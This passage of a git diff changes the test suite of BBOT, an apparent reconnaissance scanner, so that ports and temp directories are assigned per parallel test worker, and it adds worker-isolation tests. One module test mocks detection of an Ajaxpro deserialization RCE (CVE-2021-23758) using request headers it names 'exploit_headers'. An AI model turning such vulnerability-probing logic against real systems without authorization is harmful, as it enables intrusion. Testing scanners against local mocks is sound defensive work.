0]) assert 2 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:9999" and e.internal is True and e.scope_distance == 0]) - assert 2 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:9999" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == f"127.0.0.0:{HTTPSERVER_SSL_PORT}" and e.internal is True and e.scope_distance == 0]) + assert 2 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == HTTPSERVER_SSL_HOSTPORT and e.internal is False and e.scope_distance == 0]) assert 1 == len([e for e in all_events if e.type == "HTTP_RESPONSE" and str(e.module) == "http"]) assert 1 == len([e for e in all_events if e.type == "URL" and str(e.module) == "http"]) assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and str(e.module) == "speculate"]) assert 1 == len([e for e in all_events if e.type == "DNS_NAME" and e.data == "test.notreal" and e.internal is False and e.scope_distance == 0 and str(e.module) == "sslcert"]) assert 1 == len([e for e in all_events if e.type == "DNS_NAME" and e.data == "www.bbottest.notreal" and e.internal is False and e.scope_distance == 1 and str(e.module) == "sslcert"]) - assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "www.bbottest.notreal:9999" and e.internal is True and e.scope_distance == 1 and str(e.module) == "speculate"]) + assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == f"www.bbottest.notreal:{HTTPSERVER_SSL_PORT}" and e.internal is True and e.scope_distance == 1 and str(e.module) == "speculate"]) assert 1 == len([e for e in all_events if e.type == "DNS_NAME_UNRESOLVED" and e.data == "bbottest.notreal" and e.internal is True and e.scope_distance == 2 and str(e.module) == "speculate"]) - assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "test.notreal:9999" and e.internal is True and e.scope_distance == 0 and str(e.module) == "speculate"]) + assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == f"test.notreal:{HTTPSERVER_SSL_PORT}" and e.internal is True and e.scope_distance == 0 and str(e.module) == "speculate"]) assert len(all_events_nodups) == 14 assert 1 == len([e for e in all_events_nodups if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0]) assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.0" and e.internal is True and e.scope_distance == 0]) assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:9999" and e.internal is True and e.scope_distance == 0]) - assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:9999" and e.internal is False and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == f"127.0.0.0:{HTTPSERVER_SSL_PORT}" and e.internal is True and e.scope_distance == 0]) + assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == HTTPSERVER_SSL_HOSTPORT and e.internal is False and e.scope_distance == 0]) assert 1 == len([e for e in all_events_nodups if e.type == "HTTP_RESPONSE" and str(e.module) == "http"]) assert 1 == len([e for e in all_events_nodups if e.type == "URL" and str(e.module) == "http"]) assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and str(e.module) == "speculate"]) assert 1 == len([e for e in all_events_nodups if e.type == "DNS_NAME" and e.data == "test.notreal" and e.internal is False and e.scope_distance == 0 and str(e.module) == "sslcert"]) assert 1 == len([e for e in all_events_nodups if e.type == "DNS_NAME" and e.data == "www.bbottest.notreal" and e.internal is False and e.scope_distance == 1 and str(e.module) == "sslcert"]) - assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "www.bbottest.notreal:9999" and e.internal is True and e.scope_distance == 1 and str(e.module) == "speculate"]) + assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == f"www.bbottest.notreal:{HTTPSERVER_SSL_PORT}" and e.internal is True and e.scope_distance == 1 and str(e.module) == "speculate"]) assert 1 == len([e for e in all_events_nodups if e.type == "DNS_NAME_UNRESOLVED" and e.data == "bbottest.notreal" and e.internal is True and e.scope_distance == 2 and str(e.module) == "speculate"]) - assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "test.notreal:9999" and e.internal is True and e.scope_distance == 0 and str(e.module) == "speculate"]) + assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == f"test.notreal:{HTTPSERVER_SSL_PORT}" and e.internal is True and e.scope_distance == 0 and str(e.module) == "speculate"]) for _graph_output_events in (graph_output_events, graph_output_batch_events): assert len(_graph_output_events) == 10 assert 1 == len([e for e in _graph_output_events if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0]) assert 0 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.0"]) assert 1 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0]) - assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:9999"]) - assert 1 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:9999" and e.internal is False and e.scope_distance == 0]) + assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == f"127.0.0.0:{HTTPSERVER_SSL_PORT}"]) + assert 1 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == HTTPSERVER_SSL_HOSTPORT and e.internal is False and e.scope_distance == 0]) assert 1 == len([e for e in _graph_output_events if e.type == "HTTP_RESPONSE" and str(e.module) == "http"]) assert 1 == len([e for e in _graph_output_events if e.type == "URL" and str(e.module) == "http"]) assert 1 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and str(e.module) == "speculate"]) assert 1 == len([e for e in _graph_output_events if e.type == "DNS_NAME" and e.data == "test.notreal" and e.internal is False and e.scope_distance == 0 and str(e.module) == "sslcert"]) assert 1 == len([e for e in _graph_output_events if e.type == "DNS_NAME" and e.data == "www.bbottest.notreal" and e.internal is False and e.scope_distance == 1 and str(e.module) == "sslcert"]) - assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "www.bbottest.notreal:9999"]) + assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == f"www.bbottest.notreal:{HTTPSERVER_SSL_PORT}"]) assert 0 == len([e for e in _graph_output_events if e.type == "DNS_NAME_UNRESOLVED" and e.data == "bbottest.notreal"]) - assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "test.notreal:9999"]) + assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == f"test.notreal:{HTTPSERVER_SSL_PORT}"]) # sslcert with out-of-scope chain events, all_events, all_events_nodups, graph_output_events, graph_output_batch_events = await do_scan( "127.0.1.0", seeds=["127.0.0.0/31"], modules=["sslcert"], - _config={"scope": {"search_distance": 1, "report_distance": 0}, "speculate": True, "modules": {"speculate": {"ports": "9999"}}}, + _config={"scope": {"search_distance": 1, "report_distance": 0}, "speculate": True, "modules": {"speculate": {"ports": f"{HTTPSERVER_SSL_PORT}"}}}, _dns_mock={"www.bbottest.notreal": {"A": ["127.0.0.1"]}, "test.notreal": {"A": ["127.0.1.0"]}}, ) @@ -748,36 +763,36 @@ def custom_setup(scan): assert 1 == len([e for e in events if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 1]) assert 0 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.0"]) assert 0 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.1"]) - assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:9999"]) - assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:9999"]) + assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == f"127.0.0.0:{HTTPSERVER_SSL_PORT}"]) + assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == HTTPSERVER_SSL_HOSTPORT]) assert 0 == len([e for e in events if e.type == "DNS_NAME" and e.data == "test.notreal"]) assert 0 == len([e for e in events if e.type == "DNS_NAME" and e.data == "www.bbottest.notreal"]) - assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "test.notreal:9999"]) + assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == f"test.notreal:{HTTPSERVER_SSL_PORT}"]) assert len(all_events) == 6 assert 1 == len([e for e in all_events if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 1]) assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.0" and e.internal is True and e.scope_distance == 2]) assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is True and e.scope_distance == 2]) - assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:9999" and e.internal is True and e.scope_distance == 2]) - assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:9999" and e.internal is True and e.scope_distance == 2]) + assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == f"127.0.0.0:{HTTPSERVER_SSL_PORT}" and e.internal is True and e.scope_distance == 2]) + assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == HTTPSERVER_SSL_HOSTPORT and e.internal is True and e.scope_distance == 2]) assert len(all_events_nodups) == 6 assert 1 == len([e for e in all_events_nodups if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 1]) assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.0" and e.internal is True and e.scope_distance == 2]) assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is True and e.scope_distance == 2]) - assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:9999" and e.internal is True and e.scope_distance == 2]) - assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:9999" and e.internal is True and e.scope_distance == 2]) + assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == f"127.0.0.0:{HTTPSERVER_SSL_PORT}" and e.internal is True and e.scope_distance == 2]) + assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == HTTPSERVER_SSL_HOSTPORT and e.internal is True and e.scope_distance == 2]) for _graph_output_events in (graph_output_events, graph_output_batch_events): assert len(_graph_output_events) == 3 assert 1 == len([e for e in _graph_output_events if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 1]) assert 0 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.0"]) assert 0 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.1"]) - assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:9999"]) - assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:9999"]) + assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == f"127.0.0.0:{HTTPSERVER_SSL_PORT}"]) + assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == HTTPSERVER_SSL_HOSTPORT]) assert 0 == len([e for e in _graph_output_events if e.type == "DNS_NAME" and e.data == "test.notreal"]) assert 0 == len([e for e in _graph_output_events if e.type == "DNS_NAME" and e.data == "www.bbottest.notreal"]) - assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "test.notreal:9999"]) + assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == f"test.notreal:{HTTPSERVER_SSL_PORT}"]) @pytest.mark.asyncio @@ -786,7 +801,7 @@ async def test_manager_blacklist(bbot_scanner, bbot_httpserver, caplog): bbot_httpserver.expect_request(uri="/").respond_with_data(response_data="") # dns search distance = 1, report distance = 0 - scan = bbot_scanner("127.0.0.0/29", "test.notreal", seeds=["http://127.0.0.1:8888"], modules=["http"], config={"excavate": True, "dns": {"minimal": False, "search_distance": 1}, "scope": {"report_distance": 0}}, blacklist=["127.0.0.64/29"]) + scan = bbot_scanner("127.0.0.0/29", "test.notreal", seeds=[HTTPSERVER_URL], modules=["http"], config={"excavate": True, "dns": {"minimal": False, "search_distance": 1}, "scope": {"report_distance": 0}}, blacklist=["127.0.0.64/29"]) await scan._prep() await scan.helpers.dns._mock_dns({"www-prod.test.notreal": {"A": ["127.0.0.66"]}, "www-dev.test.notreal": {"A": ["127.0.0.22"]}}) @@ -835,13 +850,13 @@ async def test_scope_accuracy_with_special_urls(bbot_scanner, bbot_httpserver): was causing special URLs to be rejected by critical internal modules like `_scan_egress`, leading to the output of unwanted URLs. """ bbot_httpserver.expect_request(uri="/v2/users/spacex").respond_with_data(response_data="") - bbot_httpserver.expect_request(uri="/u/spacex").respond_with_data(response_data="") + bbot_httpserver.expect_request(uri="/u/spacex").respond_with_data(response_data=f"") scan = bbot_scanner("ORG:spacex", modules=["http", "social", "dockerhub"], config={"speculate": True, "excavate": True}) await scan._prep() - scan.modules["dockerhub"].site_url = "http://127.0.0.1:8888" - scan.modules["dockerhub"].api_url = "http://127.0.0.1:8888/v2" + scan.modules["dockerhub"].site_url = HTTPSERVER_URL + scan.modules["dockerhub"].api_url = f"{HTTPSERVER_URL}/v2" async def mock_wildcard(*args, **kwargs): return False @@ -868,7 +883,7 @@ async def handle_event(self, event): # there are actually 2 URL events. They are both from the same URL, but one was extracted by the full URL regex, and the other by the src/href= regex. # however, they should be deduped by scan_ingress. - bad_url_events = [e for e in dummy_module.events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.1:8888/asdf.js"] + bad_url_events = [e for e in dummy_module.events if e.type == "URL_UNVERIFIED" and e.url == f"{HTTPSERVER_URL}/asdf.js"] assert len(bad_url_events) == 1 # they should both be internal assert all(e.internal is True for e in bad_url_events) diff --git a/bbot/test/test_step_1/test_presets.py b/bbot/test/test_step_1/test_presets.py index d1a4117866..49db7b78a8 100644 --- a/bbot/test/test_step_1/test_presets.py +++ b/bbot/test/test_step_1/test_presets.py @@ -4,6 +4,7 @@ from ..bbot_fixtures import * # noqa F401 from bbot.scanner import Scanner, Preset +from bbot.test.worker import worker_dir # FUTURE TODO: @@ -819,7 +820,7 @@ def test_preset_include(): custom_preset_dir_1 = bbot_test_dir / "custom_preset_dir" custom_preset_dir_2 = custom_preset_dir_1 / "preset_subdir" custom_preset_dir_3 = custom_preset_dir_2 / "subsubdir" - custom_preset_dir_4 = Path("/tmp/.bbot_preset_test") + custom_preset_dir_4 = worker_dir("/tmp/.bbot_preset_test") custom_preset_dir_5 = custom_preset_dir_4 / "subdir" mkdir(custom_preset_dir_1) mkdir(custom_preset_dir_2) diff --git a/bbot/test/test_step_1/test_python_api.py b/bbot/test/test_step_1/test_python_api.py index 1b3ce237fc..cb685980ea 100644 --- a/bbot/test/test_step_1/test_python_api.py +++ b/bbot/test/test_step_1/test_python_api.py @@ -1,5 +1,7 @@ from ..bbot_fixtures import * +from bbot.test.worker import worker_dir + @pytest.mark.asyncio async def test_python_api(clean_default_config): @@ -44,7 +46,7 @@ async def test_python_api(clean_default_config): assert "scan_logging_test" in open(debug_log).read() # make sure config loads properly - bbot_home = "/tmp/.bbot_python_api_test" + bbot_home = str(worker_dir("/tmp/.bbot_python_api_test")) scan4 = Scanner("127.0.0.1", config={"home": bbot_home}) await scan4._prep() assert os.environ["BBOT_TOOLS"] == str(Path(bbot_home) / "tools") @@ -88,7 +90,7 @@ async def test_python_api_sync(clean_default_config): out_file = scan2.helpers.scans_dir / "python_api_test" / "output.json" assert list(scan2.helpers.read_file(out_file)) # make sure config loads properly - bbot_home = "/tmp/.bbot_python_api_test" + bbot_home = str(worker_dir("/tmp/.bbot_python_api_test")) scan3 = Scanner("127.0.0.1", config={"home": bbot_home}) await scan3._prep() assert os.environ["BBOT_TOOLS"] == str(Path(bbot_home) / "tools") diff --git a/bbot/test/test_step_1/test_scope.py b/bbot/test/test_step_1/test_scope.py index 52ee4462a1..3b094e4d25 100644 --- a/bbot/test/test_step_1/test_scope.py +++ b/bbot/test/test_step_1/test_scope.py @@ -1,9 +1,10 @@ from ..bbot_fixtures import * # noqa: F401 from ..test_step_2.module_tests.base import ModuleTestBase +from bbot.test.worker import HTTPSERVER_PORT, HTTPSERVER_URL class TestScopeBaseline(ModuleTestBase): - targets = ["http://127.0.0.1:8888"] + targets = [HTTPSERVER_URL] modules_overrides = ["http"] config_overrides = {"omit_event_types": []} @@ -42,7 +43,7 @@ def check(self, module_test, events): for e in events if e.type == "HTTP_RESPONSE" and str(e.host) == "127.0.0.1" - and e.port == 8888 + and e.port == HTTPSERVER_PORT and e.scope_distance == 0 ] ) @@ -50,7 +51,10 @@ def check(self, module_test, events): [ e for e in events - if e.type == "URL" and str(e.host) == "127.0.0.1" and e.port == 8888 and e.scope_distance == 0 + if e.type == "URL" + and str(e.host) == "127.0.0.1" + and e.port == HTTPSERVER_PORT + and e.scope_distance == 0 ] ) diff --git a/bbot/test/test_step_1/test_target.py b/bbot/test/test_step_1/test_target.py index 2df98df652..4a09a24372 100644 --- a/bbot/test/test_step_1/test_target.py +++ b/bbot/test/test_step_1/test_target.py @@ -1,4 +1,5 @@ from ..bbot_fixtures import * # noqa: F401 +from bbot.test.worker import HTTPSERVER_URL @pytest.mark.asyncio @@ -665,26 +666,26 @@ async def test_blacklist_regex(bbot_scanner, bbot_httpserver): assert "http://test.com/asdf/123456.aspx" in blacklist bbot_httpserver.expect_request(uri="/").respond_with_data( - """ - - + f""" + + """ ) bbot_httpserver.expect_request(uri="/asdfevilasdf").respond_with_data("") bbot_httpserver.expect_request(uri="/logout.aspx").respond_with_data("") # make sure URL is detected normally - scan = bbot_scanner("http://127.0.0.1:8888/", presets=["spider"], config={"excavate": True}, debug=True) + scan = bbot_scanner(f"{HTTPSERVER_URL}/", presets=["spider"], config={"excavate": True}, debug=True) await scan._prep() assert {r.pattern for r in scan.target.blacklist.blacklist_regexes} == {r"/.*(sign|log)[_-]?out"} events = [e async for e in scan.async_start()] urls = [e.url for e in events if e.type == "URL"] assert len(urls) == 2 - assert set(urls) == {"http://127.0.0.1:8888/", "http://127.0.0.1:8888/asdfevil333asdf"} + assert set(urls) == {f"{HTTPSERVER_URL}/", f"{HTTPSERVER_URL}/asdfevil333asdf"} # same scan again but with blacklist regex scan = bbot_scanner( - "http://127.0.0.1:8888/", + f"{HTTPSERVER_URL}/", blacklist=[r"RE:evil[0-9]{3}"], presets=["spider"], config={"excavate": True}, @@ -700,7 +701,7 @@ async def test_blacklist_regex(bbot_scanner, bbot_httpserver): events = [e async for e in scan.async_start()] urls = [e.url for e in events if e.type == "URL"] assert len(urls) == 1 - assert set(urls) == {"http://127.0.0.1:8888/"} + assert set(urls) == {f"{HTTPSERVER_URL}/"} def test_blacklist_get_invalid_host(): diff --git a/bbot/test/test_step_1/test_web.py b/bbot/test/test_step_1/test_web.py index d3a0a7bdf6..530cc66b97 100644 --- a/bbot/test/test_step_1/test_web.py +++ b/bbot/test/test_step_1/test_web.py @@ -4,6 +4,8 @@ from ..bbot_fixtures import * +from bbot.test.worker import BBOT_TEST_DIR + @pytest.mark.asyncio async def test_web(bbot_scanner, bbot_httpserver, blasthttp_mock): @@ -204,7 +206,7 @@ async def test_web_helpers(bbot_scanner, bbot_httpserver, blasthttp_mock): assert scan1.helpers.is_cached(url) with open(filename) as f: assert f.read() == download_content - filename = Path("/tmp/bbot_download_test_file") + filename = BBOT_TEST_DIR / "bbot_download_test_file" filename.unlink(missing_ok=True) filename2 = await scan1.helpers.download(url, filename=filename) assert filename2 == filename diff --git a/bbot/test/test_step_1/test_worker_count.py b/bbot/test/test_step_1/test_worker_count.py new file mode 100644 index 0000000000..e6c50f231f --- /dev/null +++ b/bbot/test/test_step_1/test_worker_count.py @@ -0,0 +1,81 @@ +from unittest.mock import patch + +from bbot.test.worker_count import RESERVE_MB, MB_PER_WORKER, cpu_count, worker_count + + +def _sysconf(total_mb): + def inner(name): + if name == "SC_PAGE_SIZE": + return 4096 + if name == "SC_PHYS_PAGES": + return total_mb * 1024 * 1024 // 4096 + raise ValueError(name) + + return inner + + +def test_worker_count_env_override_wins(): + with patch.dict("os.environ", {"BBOT_TEST_WORKERS": "3"}): + assert worker_count() == 3 + with patch.dict("os.environ", {"BBOT_TEST_WORKERS": "999"}): + assert worker_count() == 999 + + +def test_worker_count_env_override_is_sanitized(): + with patch.dict("os.environ", {"BBOT_TEST_WORKERS": " 4 "}): + assert worker_count() == 4 + for bogus in ("0", "-1"): + with patch.dict("os.environ", {"BBOT_TEST_WORKERS": bogus}): + assert worker_count() == 1 + + +def test_worker_count_ignores_blank_override(): + with patch.dict("os.environ", {"BBOT_TEST_WORKERS": " "}): + with patch("bbot.test.worker_count.cpu_count", return_value=4): + with patch("os.sysconf", _sysconf(RESERVE_MB + 4 * MB_PER_WORKER)): + assert worker_count() == 4 + + +def test_worker_count_is_capped_by_memory(): + total = RESERVE_MB + 2 * MB_PER_WORKER + with patch.dict("os.environ", {}, clear=True): + with patch("bbot.test.worker_count.cpu_count", return_value=64): + with patch("os.sysconf", _sysconf(total)): + assert worker_count() == 2 + + +def test_worker_count_is_capped_by_cores(): + with patch.dict("os.environ", {}, clear=True): + with patch("bbot.test.worker_count.cpu_count", return_value=4): + with patch("os.sysconf", _sysconf(RESERVE_MB + 64 * MB_PER_WORKER)): + assert worker_count() == 4 + + +def test_worker_count_never_returns_zero_on_small_machines(): + with patch.dict("os.environ", {}, clear=True): + with patch("bbot.test.worker_count.cpu_count", return_value=8): + for total in (RESERVE_MB // 2, RESERVE_MB, RESERVE_MB + 1): + with patch("os.sysconf", _sysconf(total)): + assert worker_count() == 1 + + +def test_worker_count_falls_back_to_cpus_when_memory_unknown(): + for exc in (ValueError, OSError, AttributeError): + with patch.dict("os.environ", {}, clear=True): + with patch("bbot.test.worker_count.cpu_count", return_value=6): + with patch("os.sysconf", side_effect=exc): + assert worker_count() == 6 + + +def test_cpu_count_prefers_affinity(): + with patch("os.sched_getaffinity", return_value={0, 1}): + assert cpu_count() == 2 + + +def test_cpu_count_falls_back_without_affinity(): + with patch("os.sched_getaffinity", side_effect=AttributeError): + with patch("os.cpu_count", return_value=12): + assert cpu_count() == 12 + with patch("os.sched_getaffinity", side_effect=AttributeError): + with patch("os.cpu_count", return_value=None): + assert cpu_count() == 1 diff --git a/bbot/test/test_step_1/test_worker_isolation.py b/bbot/test/test_step_1/test_worker_isolation.py new file mode 100644 index 0000000000..d7d887c583 --- /dev/null +++ b/bbot/test/test_step_1/test_worker_isolation.py @@ -0,0 +1,85 @@ +from pathlib import Path +from unittest.mock import patch + +from bbot.test.worker import ( + BASE_BBOT_TEST_DIR, + WORKER_PORT_STRIDE, + _worker_index, + worker_dir, + worker_id, + worker_port, +) + + +def _env(value): + if value is None: + return patch.dict("os.environ", {}, clear=True) + return patch.dict("os.environ", {"PYTEST_XDIST_WORKER": value}) + + +def test_worker_id_serial_is_empty(): + with _env(None): + assert worker_id() == "" + + +def test_worker_id_recognizes_gw_workers(): + for name in ("gw0", "gw1", "gw15"): + with _env(name): + assert worker_id() == name + + +def test_worker_id_rejects_non_gw_values(): + for name in ("master", "", "controller"): + with _env(name): + assert worker_id() == "" + + +def test_worker_index_parses_the_number(): + for name, expected in (("gw0", 0), ("gw1", 1), ("gw15", 15)): + with _env(name): + assert _worker_index() == expected + + +def test_worker_index_defaults_to_zero(): + with _env(None): + assert _worker_index() == 0 + with _env("gwX"): + assert _worker_index() == 0 + + +def test_worker_port_is_unchanged_when_serial(): + with _env(None): + assert worker_port(8888) == 8888 + + +def test_worker_port_blocks_do_not_overlap(): + bases = [8888, 9999, 5556, 8978, 8765] + seen = {} + for i in range(16): + with _env(f"gw{i}"): + for base in bases: + port = worker_port(base) + assert port not in seen, f"port {port} collides: gw{i}/{base} vs {seen[port]}" + seen[port] = f"gw{i}/{base}" + + +def test_worker_port_uses_the_stride(): + with _env("gw3"): + assert worker_port(8888) == 8888 + 3 * WORKER_PORT_STRIDE + + +def test_worker_dir_is_unchanged_when_serial(): + with _env(None): + assert worker_dir() == BASE_BBOT_TEST_DIR + assert worker_dir("/tmp/.bbot_example") == Path("/tmp/.bbot_example") + + +def test_worker_dir_is_unique_per_worker(): + seen = set() + for i in range(16): + with _env(f"gw{i}"): + d = worker_dir() + assert d not in seen + seen.add(d) + with _env("gw2"): + assert worker_dir("/tmp/.bbot_example") == Path("/tmp/.bbot_example_gw2") diff --git a/bbot/test/test_step_2/module_tests/test_module_ajaxpro.py b/bbot/test/test_step_2/module_tests/test_module_ajaxpro.py index 21c44f8519..1c3fb4dc9f 100644 --- a/bbot/test/test_step_2/module_tests/test_module_ajaxpro.py +++ b/bbot/test/test_step_2/module_tests/test_module_ajaxpro.py @@ -1,8 +1,9 @@ from .base import ModuleTestBase +from bbot.test.worker import HTTPSERVER_URL class TestAjaxpro(ModuleTestBase): - targets = ["http://127.0.0.1:8888"] + targets = [HTTPSERVER_URL] modules_overrides = ["http", "ajaxpro"] exploit_headers = {"X-Ajaxpro-Method": "AddItem", "Content-Type": "text/json; charset=UTF-8"} exploit_response = """ @@ -37,8 +38,7 @@ def check(self, module_test, events): if ( e.type == "FINDING" and "Ajaxpro Deserialization RCE (CVE-2021-23758)" in e.data["description"] - and "http://127.0.0.1:8888/ajaxpro/AjaxPro.Services.ICartService,AjaxPro.2.ashx" - in e.data["description"] + and f"{HTTPSERVER_URL}/ajaxpro/AjaxPro.Services.ICartService,AjaxPro.2.ashx" in e.data["description"] ): ajaxpro_exploit_detection = True diff --git a/bbot/test/test_step_2/module_tests/test_module_aspnet_bin_exposure.py b/bbot/test/test_step_2/module_tests/test_module_aspnet_bin_exposure.py index 2af603865f..b51f6fc97a 100644 --- a/bbot/test/test_step_2/module_tests/test_module_aspnet_bin_exposure.py +++ b/bbot/test/test_step_2/module_tests/test_module_aspnet_bin_exposure.py @@ -1,5 +1,6 @@ from .base import ModuleTestBase import re +from bbot.test.worker import HTTPSERVER_URL class TestAspnetBinExposure(ModuleTestBase): @@ -11,7 +12,7 @@ class TestAspnetBinExposure(ModuleTestBase): assertion on the Detection Url pattern would fail. """ - targets = ["http://127.0.0.1:8888"] + targets = [HTTPSERVER_URL] modules_overrides = ["http", "aspnet_bin_exposure"] async def setup_before_prep(self, module_test): @@ -52,7 +53,7 @@ def check(self, module_test, events): class TestAspnetBinExposure_DeadHost(ModuleTestBase): """Dead host returns 404 for everything -- no FINDING should be emitted.""" - targets = ["http://127.0.0.1:8888"] + targets = [HTTPSERVER_URL] modules_overrides = ["http", "aspnet_bin_exposure"] async def setup_before_prep(self, module_test): @@ -68,7 +69,7 @@ def check(self, module_test, events): class TestAspnetBinExposure_FalsePositive(ModuleTestBase): """Host serves DLLs for everything (including the fake DLL) -- no FINDING should be emitted.""" - targets = ["http://127.0.0.1:8888"] + targets = [HTTPSERVER_URL] modules_overrides = ["http", "aspnet_bin_exposure"] async def setup_before_prep(self, module_test): diff --git a/bbot/test/test_step_2/module_tests/test_module_asset_inventory.py b/bbot/test/test_step_2/module_tests/test_module_asset_inventory.py index 39aca71341..c066832bea 100644 --- a/bbot/test/test_step_2/module_tests/test_module_asset_inventory.py +++ b/bbot/test/test_step_2/module_tests/test_module_asset_inventory.py @@ -1,13 +1,16 @@ from .base import ModuleTestBase +from bbot.test.worker import HTTPSERVER_SSL_HOSTPORT, HTTPSERVER_SSL_PORT class TestAsset_Inventory(ModuleTestBase): targets = ["127.0.0.1", "bbottest.notreal"] scan_name = "asset_inventory_test" - config_overrides = {"dns": {"minimal": False}, "modules": {"portscan": {"ports": "9999"}}} + config_overrides = {"dns": {"minimal": False}, "modules": {"portscan": {"ports": f"{HTTPSERVER_SSL_PORT}"}}} modules_overrides = ["asset_inventory", "portscan", "sslcert"] - masscan_output = """{ "ip": "127.0.0.1", "timestamp": "1680197558", "ports": [ {"port": 9999, "proto": "tcp", "status": "open", "reason": "syn-ack", "ttl": 54} ] }""" + # Mocked masscan output. The port here is what the module "discovers", so it + # has to match the port the assertions expect, which moves per xdist worker. + masscan_output = f"""{{ "ip": "127.0.0.1", "timestamp": "1680197558", "ports": [ {{"port": {HTTPSERVER_SSL_PORT}, "proto": "tcp", "status": "open", "reason": "syn-ack", "ttl": 54}} ] }}""" async def setup_after_prep(self, module_test): async def run_masscan(command, *args, **kwargs): @@ -32,7 +35,7 @@ async def run_masscan(command, *args, **kwargs): ) def check(self, module_test, events): - assert any(e.data == "127.0.0.1:9999" for e in events), "No open port found" + assert any(e.data == HTTPSERVER_SSL_HOSTPORT for e in events), "No open port found" assert any(e.data == "www.bbottest.notreal" for e in events), "No DNS name found" filename = next(module_test.scan.home.glob("asset-inventory.csv")) with open(filename) as f: @@ -51,8 +54,21 @@ class 